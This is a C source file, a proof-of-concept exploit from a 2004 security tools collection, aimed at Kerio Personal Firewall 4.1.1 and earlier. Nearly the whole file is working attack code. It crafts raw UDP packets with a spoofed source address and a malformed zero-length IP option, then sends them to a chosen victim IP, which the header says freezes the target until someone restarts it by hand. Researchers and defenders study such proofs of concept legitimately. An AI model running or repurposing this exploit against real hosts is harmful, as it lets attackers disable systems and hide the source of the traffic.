home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / Kerio / HOD-kerio-firewall-DoS-expl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  410 lines
  1. /* HOD-kerio-firewall-DoS-expl.c: 2004-11-10
  2. *
  3. * Copyright (c) 2004 houseofdabus
  4. *
  5. * Kerio Personal Firewall Multiple IP Options Denial of Service PoC
  6. *
  7. * Coded by
  8. *
  9. *
  10. * .::[ houseofdabus ]::.
  11. *
  12. *
  13. *
  14. * Bug discoveried by eEye:
  15. * http://www.eeye.com/html/research/advisories/AD20041109.html
  16. *
  17. * 
  18. ---------------------------------------------------------------------
  19. * Tested on:
  20. * - Kerio Personal Firewall 4.1.1
  21. *
  22. * Systems Affected:
  23. * - Kerio Personal Firewall 4.1.1 and prior
  24. *
  25. * 
  26. ---------------------------------------------------------------------
  27. * Description:
  28. * The vulnerability allows a remote attacker to reliably render
  29. * a system inoperative with one single packet. Physical access is
  30. * required in order to bring an affected system out of this
  31. * "frozen" state. This specific flaw exists within the component
  32. * that performs low level processing of TCP, UDP, and ICMP packets.
  33. *
  34. * 
  35. ---------------------------------------------------------------------
  36. * Compile:
  37. * Win32/VC++ : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
  38. * Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
  39. * Linux : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
  40. *
  41. * 
  42. ---------------------------------------------------------------------
  43. * Command Line Parameters/Arguments:
  44. *
  45. * HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
  46. *
  47. * -fi:IP From (sender) IP address
  48. * -ti:IP To (target) IP address
  49. * -n:int Number of packets
  50. *
  51. * 
  52. ---------------------------------------------------------------------
  53. *
  54. * This is provided as proof-of-concept code only for educational
  55. * purposes and testing by authorized individuals with permission to
  56. * do so.
  57. *
  58. */
  59.  
  60. /* #define _WIN32 */
  61.  
  62. #ifdef _WIN32
  63. #pragma comment(lib,"ws2_32")
  64. #pragma pack(1)
  65. #define WIN32_LEAN_AND_MEAN 
  66. #include <winsock2.h>
  67. #include <ws2tcpip.h> /* IP_HDRINCL */
  68.  
  69. #else
  70. #include <sys/types.h>
  71. #include <netinet/in.h>
  72. #include <sys/socket.h>
  73. #include <stdio.h>
  74. #include <stdlib.h>
  75. #include <arpa/inet.h>
  76. #include <netdb.h>
  77. #include <sys/timeb.h>
  78. #endif
  79.  
  80. #include <string.h>
  81. #include <stdio.h>
  82. #include <stdlib.h>
  83.  
  84. #define MAX_MESSAGE 4068
  85. #define MAX_PACKET 4096
  86.  
  87. #define DEFAULT_PORT 53
  88. #define DEFAULT_IP "192.168.0.1"
  89. #define DEFAULT_COUNT 1
  90.  
  91. #ifndef _WIN32
  92. # define FAR
  93. #endif
  94.  
  95.  
  96. /* Define the IP header */
  97. typedef struct ip_hdr {
  98. unsigned char ip_verlen; /* IP version & length */
  99. unsigned char ip_tos; /* IP type of service */
  100. unsigned short ip_totallength; /* Total length */
  101. unsigned short ip_id; /* Unique identifier */
  102. unsigned short ip_offset; /* Fragment offset field */
  103. unsigned char ip_ttl; /* Time to live */
  104. unsigned char ip_protocol; /* Protocol */
  105. unsigned short ip_checksum; /* IP checksum */
  106. unsigned int ip_srcaddr; /* Source address */
  107. unsigned int ip_destaddr; /* Destination address */
  108. } IP_HDR, *PIP_HDR, FAR* LPIP_HDR;
  109.  
  110.  
  111. /* Define the UDP header */
  112. typedef struct udp_hdr {
  113. unsigned short src_portno; /* Source port number */
  114. unsigned short dst_portno; /* Destination port number */
  115. unsigned short udp_length; /* UDP packet length */
  116. unsigned short udp_checksum; /* UDP checksum (optional) */
  117. } UDP_HDR, *PUDP_HDR;
  118.  
  119.  
  120. char udpmsg[] =
  121. "\x4b\x65\x72\x69\x6f\x20\x50\x65\x72\x73\x6f\x6e\x61\x6c\x20\x46"
  122. "\x69\x72\x65\x77\x61\x6c\x6c\x20\x44\x6f\x53\x20\x50\x6f\x43\x20"
  123. "\x28\x34\x2e\x31\x2e\x31\x20\x61\x6e\x64\x20\x70\x72\x69\x6f\x72"
  124. "\x29\x2e\x20\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29"
  125. "\x20\x32\x30\x30\x34\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62"
  126. "\x75\x73\x2e";
  127.  
  128.  
  129. /* globals */
  130. unsigned long dwToIP, /* IP to send to */
  131. dwFromIP; /* IP to send from (spoof) */
  132. unsigned short iToPort, /* Port to send to */
  133. iFromPort; /* Port to send from (spoof) */
  134. unsigned long dwCount; /* Number of times to send */
  135. char strMessage[MAX_MESSAGE]; /* Message to send */
  136.  
  137.  
  138.  
  139. void
  140. usage(char *progname) {
  141. printf("Usage:\n\n");
  142. printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]\n\n", progname);
  143. printf(" -fi:IP From (sender) IP address\n");
  144. printf(" -ti:IP To (target) IP address\n");
  145. printf(" -n:int Number of packets\n");
  146. exit(1);
  147. }
  148.  
  149. void
  150. ValidateArgs(int argc, char **argv)
  151. {
  152. int i;
  153.  
  154. iToPort = 53;
  155. iFromPort = DEFAULT_PORT;
  156. dwToIP = inet_addr(DEFAULT_IP);
  157. dwFromIP = inet_addr(DEFAULT_IP); 
  158. dwCount = DEFAULT_COUNT;
  159. memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);
  160.  
  161. for(i = 1; i < argc; i++) {
  162. if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
  163. switch (tolower(argv[i][1])) {
  164. case 'f':
  165. switch (tolower(argv[i][2])) {
  166. case 'i':
  167. if (strlen(argv[i]) > 4)
  168. dwFromIP = inet_addr(&argv[i][4]);
  169. break;
  170. default:
  171. usage(argv[0]);
  172. break;
  173. } 
  174. break;
  175. case 't':
  176. switch (tolower(argv[i][2])) {
  177. case 'i':
  178. if (strlen(argv[i]) > 4)
  179. dwToIP = inet_addr(&argv[i][4]);
  180. break;
  181. default:
  182. usage(argv[0]);
  183. break;
  184. } 
  185. break;
  186. case 'n':
  187. if (strlen(argv[i]) > 3)
  188. dwCount = atol(&argv[i][3]);
  189. break;
  190. default:
  191. usage(argv[0]);
  192. break;
  193. }
  194. }
  195. }
  196. return;
  197. }
  198.  
  199.  
  200. /* This function calculates the 16-bit one's complement sum */
  201. /* for the supplied buffer */
  202. unsigned short
  203. checksum(unsigned short *buffer, int size)
  204. {
  205. unsigned long cksum=0;
  206.  
  207. while (size > 1) {
  208. cksum += *buffer++;
  209. size -= sizeof(unsigned short); 
  210. }
  211. if (size) {
  212. cksum += *(unsigned char *)buffer; 
  213. }
  214. cksum = (cksum >> 16) + (cksum & 0xffff);
  215. cksum += (cksum >>16); 
  216.  
  217. return (unsigned short)(~cksum); 
  218. }
  219.  
  220.  
  221.  
  222.  
  223. int
  224. main(int argc, char **argv)
  225. {
  226. #ifdef _WIN32
  227. WSADATA wsd;
  228. #endif
  229. int s;
  230. #ifdef _WIN32
  231. BOOL bOpt;
  232. #else
  233. int bOpt;
  234. #endif
  235. struct sockaddr_in remote;
  236. IP_HDR ipHdr;
  237. UDP_HDR udpHdr;
  238. int ret;
  239. unsigned long i;
  240. unsigned short iTotalSize,
  241. iUdpSize,
  242. iUdpChecksumSize,
  243. iIPVersion,
  244. iIPSize,
  245. cksum = 0;
  246. char buf[MAX_PACKET],
  247. *ptr = NULL;
  248. #ifdef _WIN32
  249. IN_ADDR addr;
  250. #else
  251. struct sockaddr_in addr;
  252. #endif
  253.  
  254. printf("\nKerio Personal Firewall Multiple IP Options Denial of 
  255. Service PoC\n\n");
  256. printf("\tCopyright (c) 2004 .::[ houseofdabus ]::.\n\n");
  257.  
  258. if (argc < 3) usage(argv[0]);
  259.  
  260. /* Parse command line arguments and print them out */
  261. ValidateArgs(argc, argv);
  262. #ifdef _WIN32
  263. addr.S_un.S_addr = dwFromIP;
  264. printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), 
  265. iFromPort);
  266. addr.S_un.S_addr = dwToIP;
  267. printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
  268. printf("[*] Count: %d\n", dwCount);
  269. #else
  270. addr.sin_addr.s_addr = dwFromIP;
  271. printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), 
  272. iFromPort);
  273. addr.sin_addr.s_addr = dwToIP;
  274. printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), 
  275. iToPort);
  276. printf("[*] Count: %d\n", dwCount);
  277. #endif
  278.  
  279. #ifdef _WIN32
  280. if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
  281. printf("[-] WSAStartup() failed: %d\n", GetLastError());
  282. return -1;
  283. }
  284. #endif
  285. /* Creating a raw socket */
  286. s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  287. #ifdef _WIN32
  288. if (s == INVALID_SOCKET) {
  289. printf("[-] WSASocket() failed: %d\n", WSAGetLastError());
  290. return -1;
  291. }
  292. #endif
  293.  
  294. /* Enable the IP header include option */
  295. #ifdef _WIN32
  296. bOpt = TRUE;
  297. #else
  298. bOpt = 1;
  299. #endif
  300. ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, 
  301. sizeof(bOpt));
  302. #ifdef _WIN32
  303. if (ret == SOCKET_ERROR) {
  304. printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", 
  305. WSAGetLastError());
  306. return -1;
  307. }
  308. #endif
  309. /* Initalize the IP header */
  310. iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(udpmsg)-1 + 4;
  311.  
  312. iIPVersion = 4;
  313. iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
  314.  
  315. iIPSize += 1; /* IP options */
  316.  
  317. ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
  318. ipHdr.ip_tos = 0; /* IP type of service */
  319. ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
  320. ipHdr.ip_id = 0; /* Unique identifier: set to 0 */
  321. ipHdr.ip_offset = 0; /* Fragment offset field */
  322. ipHdr.ip_ttl = 128; /* Time to live */
  323. ipHdr.ip_protocol = 0x11; /* Protocol(UDP) */
  324. ipHdr.ip_checksum = 0 ; /* IP checksum */
  325. ipHdr.ip_srcaddr = dwFromIP; /* Source address */
  326. ipHdr.ip_destaddr = dwToIP; /* Destination address */
  327.  
  328. /* Initalize the UDP header */
  329. iUdpSize = sizeof(udpHdr) + sizeof(udpmsg)-1;
  330.  
  331. udpHdr.src_portno = htons(iFromPort);
  332. udpHdr.dst_portno = htons(iToPort);
  333. udpHdr.udp_length = htons(iUdpSize);
  334. udpHdr.udp_checksum = 0 ;
  335.  
  336.  
  337. iUdpChecksumSize = 0;
  338. ptr = buf;
  339. memset(buf, 0, MAX_PACKET);
  340.  
  341. memcpy(ptr, &ipHdr.ip_srcaddr, sizeof(ipHdr.ip_srcaddr));
  342. ptr += sizeof(ipHdr.ip_srcaddr);
  343. iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);
  344.  
  345. memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr)); 
  346. ptr += sizeof(ipHdr.ip_destaddr);
  347. iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);
  348.  
  349. ptr++;
  350. iUdpChecksumSize += 1;
  351.  
  352. memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol)); 
  353. ptr += sizeof(ipHdr.ip_protocol);
  354. iUdpChecksumSize += sizeof(ipHdr.ip_protocol);
  355.  
  356. memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length)); 
  357. ptr += sizeof(udpHdr.udp_length);
  358. iUdpChecksumSize += sizeof(udpHdr.udp_length);
  359.  
  360. memcpy(ptr, &udpHdr, sizeof(udpHdr)); 
  361. ptr += sizeof(udpHdr);
  362. iUdpChecksumSize += sizeof(udpHdr);
  363.  
  364. for(i = 0; i < sizeof(udpmsg)-1; i++, ptr++)
  365. *ptr = strMessage[i];
  366. iUdpChecksumSize += sizeof(udpmsg)-1;
  367.  
  368. cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
  369. udpHdr.udp_checksum = cksum;
  370.  
  371.  
  372. memset(buf, 0, MAX_PACKET);
  373. ptr = buf;
  374.  
  375. memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
  376.  
  377. /* IP option (length = 0x00) */
  378. memcpy(ptr, "\x88\x00\x12\x34", 4); ptr += 4;
  379.  
  380. memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
  381. memcpy(ptr, strMessage, sizeof(udpmsg)-1);
  382.  
  383. remote.sin_family = AF_INET;
  384. remote.sin_port = htons(iToPort);
  385. remote.sin_addr.s_addr = dwToIP;
  386.  
  387. for(i = 0; i < dwCount; i++) {
  388. #ifdef _WIN32
  389. ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, 
  390. sizeof(remote));
  391.  
  392. if (ret == SOCKET_ERROR) {
  393. printf("[-] sendto() failed: %d\n", WSAGetLastError());
  394. break;
  395. } else
  396. #else
  397. ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) 
  398. &remote, 
  399. sizeof(remote));
  400. #endif
  401. printf("[+] sent %d bytes\n", ret);
  402. }
  403.  
  404. #ifdef _WIN32
  405. closesocket(s);
  406. WSACleanup();
  407. #endif
  408.  
  409. return 0;
  410. }